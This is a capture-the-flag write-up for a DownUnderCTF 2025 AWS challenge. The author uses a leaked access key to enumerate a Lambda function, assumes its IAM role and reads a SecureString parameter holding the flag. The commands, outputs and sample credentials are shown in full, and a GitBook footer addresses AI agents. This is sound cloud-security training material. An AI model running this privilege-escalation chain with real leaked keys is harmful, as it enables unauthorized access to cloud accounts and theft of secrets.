> For the complete documentation index, see [llms.txt](https://jedi.gitbook.io/jedi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jedi.gitbook.io/jedi/ctf-archive/downunderctf-2025/mary-had-a-little-lambda-154-pts.md).

# Mary had a little lambda (154 pts)

### Description

Dear CSI,

The Ministry of Australian Research into Yaks (MARY) is the leading authority of yak related research in Australia. They know a lot about long-haired domesticated cattle, but unfortunately not a lot about information security.

They have been migrating their yak catalog application to a serverless, lambda based, architecture in AWS, but in the process have accidentally exposed an access key used by their admins. You've gotten a hold of this key, now use this access to uncover MARY's secrets!

Regards,\
gyrospectre

#### Attachments

* [access\_key.txt](https://storage.googleapis.com/downunderctf-2025-noctf-files/noctf-files/-kW1bbpyM61Wbc_ScAzzy?X-Amz-Algorithm=AWS4-HMAC-SHA256\&X-Amz-Credential=GOOG1ELBSKCSEHWDHBGZCFZBP3RXLJBHVAZJTTYKCMYMRJRM6O5N35G46S26H%2F20250721%2Fauto%2Fs3%2Faws4_request\&X-Amz-Date=20250721T140000Z\&X-Amz-Expires=1200\&X-Amz-SignedHeaders=host\&X-Amz-Signature=08235ae413029a9cc677f09cbb1c12468bc817bbecb7b501d56475329840ab74)

### Solution

We were given an access key to AWS

```bash
jedi@aqua: /mnt/d/CTF/ductf/misc
$ cat access_key.txt                                                                                         [21:06:38]
[devopsadmin]
aws_access_key_id=AKIAXC42U7VJ2XOBQKGI
aws_secret_access_key=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
region=us-east-1
```

From the title, we can assume that there is a correlation with AWS Lambda, a serverless compute service that allows users to run code without managing servers

First, we need to make a new profile using the credentials that we get earlier

```bash
jedi@aqua: /mnt/d/CTF/ductf
$ aws configure --profile ductf                                                                              [21:51:48]
AWS Access Key ID [None]: AKIAXC42U7VJ2XOBQKGI
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json
```

Next, we need to check the account identity

```json
jedi@aqua: /mnt/d/CTF/ductf
$ aws sts get-caller-identity --profile ductf  
{
    "UserId": "AIDAXC42U7VJSYNSAD4EV",
    "Account": "487266254163",
    "Arn": "arn:aws:iam::487266254163:user/devopsadmin"
}
```

We then list al the Lambda functions

```json
jedi@aqua: /mnt/d/CTF/ductf
$ aws lambda list-functions --profile ductf
{
    "Functions": [
        {
            "FunctionName": "yakbase",
            "FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
            "Runtime": "python3.13",
            "Role": "arn:aws:iam::487266254163:role/lambda_role",
            "Handler": "yakbase.lambda_handler",
            "CodeSize": 623,
            "Description": "",
            "Timeout": 30,
            "MemorySize": 128,
            "LastModified": "2025-07-14T12:42:45.148+0000",
            "CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
            "Layers": [
                {
                    "Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
                    "CodeSize": 689581
                }
            ],
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/yakbase"
            }
        }
    ]
}
```

We see that there is a function called **yakbase**. We need to see more of the function

```json
jedi@aqua: /mnt/d/CTF/ductf
$ aws lambda get-function --function-name yakbase --profile ductf
{
    "Configuration": {
        "FunctionName": "yakbase",
        "FunctionArn": "arn:aws:lambda:us-east-1:487266254163:function:yakbase",
        "Runtime": "python3.13",
        "Role": "arn:aws:iam::487266254163:role/lambda_role",
        "Handler": "yakbase.lambda_handler",
        "CodeSize": 623,
        "Description": "",
        "Timeout": 30,
        "MemorySize": 128,
        "LastModified": "2025-07-14T12:42:45.148+0000",
        "CodeSha256": "TJjcu+uixucgk+66VOvlNYdT4ifRe6bgdAQxWujMwVM=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "6e45ccea-697d-4cd8-b606-67577b601b0b",
        "Layers": [
            {
                "Arn": "arn:aws:lambda:us-east-1:487266254163:layer:main-layer:1",
                "CodeSize": 689581
            }
        ],
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        },
        "RuntimeVersionConfig": {
            "RuntimeVersionArn": "arn:aws:lambda:us-east-1::runtime:83a0b29e480e14176225231a6e561282aa7732a24063ebab771b15e4c1a2c71c"
        },
        "LoggingConfig": {
            "LogFormat": "Text",
            "LogGroup": "/aws/lambda/yakbase"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/487266254163/yakbase-f70d7c3a-5267-425f-8ed2-4c7a9497db04?versionId=AWtrEWcqRUhNouC7YHffyafILNKu2lrj&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEL7%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIFYuHUbnIFKHy4HYlozw5BPDjirzun%2BItW%2FYPMbS52ixAiEAprAndNgyDoPtGOCI8jtsfSprPsw58LgdPyOmGn86FNcqkgII1%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw3NDk2Nzg5MDI4MzkiDHXrnxyOiaw%2BFVoaYyrmAXCL%2F3fOKKjhqvPPQBGwXpKQVy8CuD5DPvtUF6AjP%2FVgZzRCxlg2zOSnMHhqshRouiAjrSRJ1wpnFRQwZzk4MO6nk3adRXjIAIRuYrP15tvcg8m1plS8BSTwzrr%2Fg%2FyznlC3vaFknfj1H0l3DUs7zVvG3sjJcxK%2F8X%2F8K1p5tkdNYD%2FWoGp7ESKjMD4pof%2BQYhEBIRjHSF%2Fs11e32j3rfszgkZPM4F9B%2F5Sd8Mk4%2FIrPsbJ7K0X4Mt7nnFo%2B6eZNLAVr1s7szvr0t0ubmQjbT7CYKpEqVmEMJ60scP90b%2BfqN2j9HOYrMLKK%2BcMGOo8BvG3B8ipA0025KE4k0W%2Bl9rPy4ZLcUF%2FrWfpkFk4ULUfdYRAG%2BP4l5UHPTYqGN%2BjBX0eq6MJm10LhWf%2BOLSz%2BZRqvVar9EvcEv1BebICnii8TayrxEkSNIGBKhyT2qflp2l83X8sgxlK1edN3uYOV7EV3lhG9eu%2FD6Kmo2d2NNRXOCRz5N4nlROfXTUNbtmM%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20250721T145611Z&X-Amz-SignedHeaders=host&X-Amz-Expires=599&X-Amz-Credential=ASIA25DCYHY3QNTMAM7U%2F20250721%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=295b64b356d2ad8c0733c6dc707003e1438779a2da9f82818efee95008451eee"
    },
    "Tags": {
        "Challenge": "Mary had a little lambda"
    }
}
```

We see that there is an S3 repository. We can try to access it and see what's inside it

We find out that there is a python code named **yakbase.py**

```python
jedi@aqua: /mnt/d/CTF/ductf
$ cat yakbase.py                                                                                                          [21:57:24]
import os
import json
import logging
import boto3
import mysql.connector

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    session = boto3.Session()
    ssm = session.client('ssm')

    dbpass = ssm.get_parameter(Name="/production/database/password", WithDecryption=True)['Parameter']['Value']

    mydb = mysql.connector.connect(
       host="10.10.1.1",
       user="dbuser",
       password=dbpass,
       database="BovineDb"
    )
    cursor = mydb.cursor()
    cursor.execute("SELECT * FROM bovines")

    results = cursor.fetchall()

    # For testing without the DB!
    #results = [(1, 'Yak', 'Hairy', False),(2, 'Bison', 'Large', True)]

    numresults = len(results)
    response = f"Database contains {numresults} bovines."

    logger.info(response)

    return {
        'statusCode' : 200,
        'body': response
    }
```

We see several things from the yakbase Lambda Function

* **Database connection**: Uses MySQL connector to connect to `10.10.1.1`
* **User**: `dbuser`
* **Password source**: Retrieved from SSM Parameter Store at `/production/database/password`&#x20;

We try to check the parameter

```
jedi@aqua: /mnt/d/CTF/ductf
$ aws ssm get-parameter --name "/production/database/password" --with-decryption --profile ductf                      

An error occurred (AccessDeniedException) when calling the GetParameter operation: User: arn:aws:iam::487266254163:user/devopsadmin is not authorized to perform: ssm:GetParameter on resource: arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password because no identity-based policy allows the ssm:GetParameter action
FAIL
```

We find out that devopsadmin user doesn't have direct SSM permissions,&#x20;

```json
jedi@aqua: /mnt/d/CTF/ductf
$ aws iam list-user-policies --user-name devopsadmin --profile ductf
{
    "PolicyNames": [
        "restricted"
    ]
}
```

We also see that the PolicyNames for user devopsadmin is restricted

We need to check the **inline IAM policy** attached to the IAM user `devopsadmin`&#x20;

```json
aws iam get-user-policy \
  --user-name devopsadmin \
  --policy-name restricted \
  --profile devopsadmin

    "UserName": "devopsadmin",
    "PolicyName": "restricted",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "iam:ListUserPolicies",
                    "iam:GetUserPolicy"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::487266254163:user/devopsadmin"
            },
            {
                "Action": "lambda:ListFunctions",
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "lambda:GetFunction",
                "Effect": "Allow",
                "Resource": "arn:aws:lambda:us-east-1:487266254163:function:yakbase"
            },
            {
                "Action": "iam:GetRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::487266254163:role/lambda_role"
            }
        ]
    }
}
```

We can see from the result above that the IAM policy allows `devopsadmin` to:

* List its own user policies (`ListUserPolicies`)
* View the contents of its own inline policies (`GetUserPolicy`)
* List all Lambda functions in the account (`lambda:ListFunctions`)
* View details of a specific Lambda function named `yakbase` (`lambda:GetFunction`)
* Read details of the IAM role named `lambda_role` (`iam:GetRole`)

Since the Lambda function uses an IAM role, we attempt to assume that role using the following command :

```json
jedi@aqua: /mnt/d/CTF/ductf
$ aws sts assume-role --role-arn "arn:aws:iam::487266254163:role/lambda_role" --role-session-name "ctf-session" --profile ductf
{
    "Credentials": {
        "AccessKeyId": "ASIAXC42U7VJ5ZHR5YTI",
        "SecretAccessKey": "UzVU9H7NieniYQ0zdwhKqm2rTocLbu/YDwRzzROF",
        "SessionToken": "IQoJb3JpZ2luX2VjEMD//////////wEaCXVzLWVhc3QtMSJHMEUCIAv6h7MZHKmEoJtRkrwjhqUEHQKiz/R0zNw1zj9zOkcaAiEA7lmI0b++Q3b3vMAtU1/j8kHouVRL0yqI85Rgef02hpcqoQII2f//////////ARAAGgw0ODcyNjYyNTQxNjMiDIg3cKapklmz953Xuir1AaORsTgu9ZhG4EQwsGYfh6um/3EEHbmPbbatWP6tvNus8c65+r8lvmFS0M0IYwU7rJ6tYGEwteyVPVFRp5NbLijIe7IBNXHYTX7IjpCCfjXyIFFjqu++ji2a9ey17caCDG//u35rIy9K+KWcD3deL1aIwEX5/216Eu5/zJyXVFjpPhdxZA1bPz3RIfYPCBOjSjgt6vzHoTCybOUkBfrRQdtMQBWdwMFvqCUe6RfJVRCgx+fQ+u8s77gpvxRQT6YN9DH+9X42enpriG8Z5hN3xX3sUxpX9YnN4ajIlXzzm6jveXsdoWgcaOiVdwFO7MU7mTWqa9FBMJHG+cMGOp0BfOrmNWQgIUqlyEzn2fMUm1ly0A9NB1k1rxBpDkgLnhV1r+/yAMnU2WGjlOw5QIyBw7ARPCkkvpf15GAHdZhraLbQ1VXYoh4JWA0L5OnleSnIUHLX2WLzRaLaRTT+grw3pTA6GWXkBWywoiux+xwsoTgf9LEofw+uHE7AJv9I35LbVdxQZDq4x2qkzKsPU9GID7EzwaPKis8KZIo9xw==",
        "Expiration": "2025-07-21T16:56:01+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAXC42U7VJRLSSOYQRI:ctf-session",
        "Arn": "arn:aws:sts::487266254163:assumed-role/lambda_role/ctf-session"
    }
}
```

We can use the credentials that we get to assume the role by exporting them as environment variables

```
export AWS_ACCESS_KEY_ID="ASIAXC42U7VJ5ZHR5YTI"
export AWS_SECRET_ACCESS_KEY="UzVU9H7NieniYQ0zdwhKqm2rTocLbu/YDwRzzROF"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEMD//////////wEaCXVzLWVhc3QtMSJHMEUCIAv6h7MZHKmEoJtRkrwjhqUEHQKiz/R0zNw1zj9zOkcaAiEA7lmI0b++Q3b3vMAtU1/j8kHouVRL0yqI85Rgef02hpcqoQII2f//////////ARAAGgw0ODcyNjYyNTQxNjMiDIg3cKapklmz953Xuir1AaORsTgu9ZhG4EQwsGYfh6um/3EEHbmPbbatWP6tvNus8c65+r8lvmFS0M0IYwU7rJ6tYGEwteyVPVFRp5NbLijIe7IBNXHYTX7IjpCCfjXyIFFjqu++ji2a9ey17caCDG//u35rIy9K+KWcD3deL1aIwEX5/216Eu5/zJyXVFjpPhdxZA1bPz3RIfYPCBOjSjgt6vzHoTCybOUkBfrRQdtMQBWdwMFvqCUe6RfJVRCgx+fQ+u8s77gpvxRQT6YN9DH+9X42enpriG8Z5hN3xX3sUxpX9YnN4ajIlXzzm6jveXsdoWgcaOiVdwFO7MU7mTWqa9FBMJHG+cMGOp0BfOrmNWQgIUqlyEzn2fMUm1ly0A9NB1k1rxBpDkgLnhV1r+/yAMnU2WGjlOw5QIyBw7ARPCkkvpf15GAHdZhraLbQ1VXYoh4JWA0L5OnleSnIUHLX2WLzRaLaRTT+grw3pTA6GWXkBWywoiux+xwsoTgf9LEofw+uHE7AJv9I35LbVdxQZDq4x2qkzKsPU9GID7EzwaPKis8KZIo9xw=="
export AWS_DEFAULT_REGION="us-east-1"
```

We then test the new credentials by running the following command :

```json
jedi@aqua: /mnt/d/CTF/ductf
$ aws sts get-caller-identity
{
    "UserId": "AROAXC42U7VJRLSSOYQRI:ctf-session",
    "Account": "487266254163",
    "Arn": "arn:aws:sts::487266254163:assumed-role/lambda_role/ctf-session"
}
```

Since the assumed `lambda_role` might be used by the Lambda function to access certain AWS resources, we attempt to leverage it to read sensitive parameters. With the new credentials in place, we now try to access the SSM parameter store, and successfully retrieve the flag

```json
jedi@aqua: /mnt/d/CTF/ductf
$ aws ssm get-parameter --name "/production/database/password" --with-decryption
{
    "Parameter": {
        "Name": "/production/database/password",
        "Type": "SecureString",
        "Value": "DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}",
        "Version": 1,
        "LastModifiedDate": "2025-07-14T19:42:32.390000+07:00",
        "ARN": "arn:aws:ssm:us-east-1:487266254163:parameter/production/database/password",
        "DataType": "text"
    }
}
```

### Flag

```
DUCTF{.*#--BosMutusOfTheTibetanPlateau--#*.}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jedi.gitbook.io/jedi/ctf-archive/downunderctf-2025/mary-had-a-little-lambda-154-pts.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
